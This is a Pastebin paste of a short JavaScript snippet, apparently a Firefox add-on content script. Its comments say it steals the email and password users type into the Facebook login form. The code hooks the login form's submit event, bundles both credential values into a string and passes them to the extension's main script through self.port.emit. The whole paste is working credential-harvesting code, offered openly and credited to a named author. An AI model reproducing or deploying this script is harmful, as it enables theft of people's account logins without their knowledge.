Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. var passWordForm = document.querySelector('input[type="password"]').form;
  2.  
  3. // here we will steal email and username that user
  4. // enter in facebook  login form.  
  5. // @author Georgi Naumov
  6. // gonaumov@gmail.com for contacts and suggestions.
  7. passWordForm.addEventListener("submit", function(event) {
  8.     var stolenPasswordAndEmailString = "email=" +
  9.                encodeURIComponent(this.email.value) +
  10.                                  "&password=" +
  11.                    encodeURIComponent(this.pass.value);
  12.    
  13.     self.port.emit('getPassword', stolenPasswordAndEmailString);
  14. });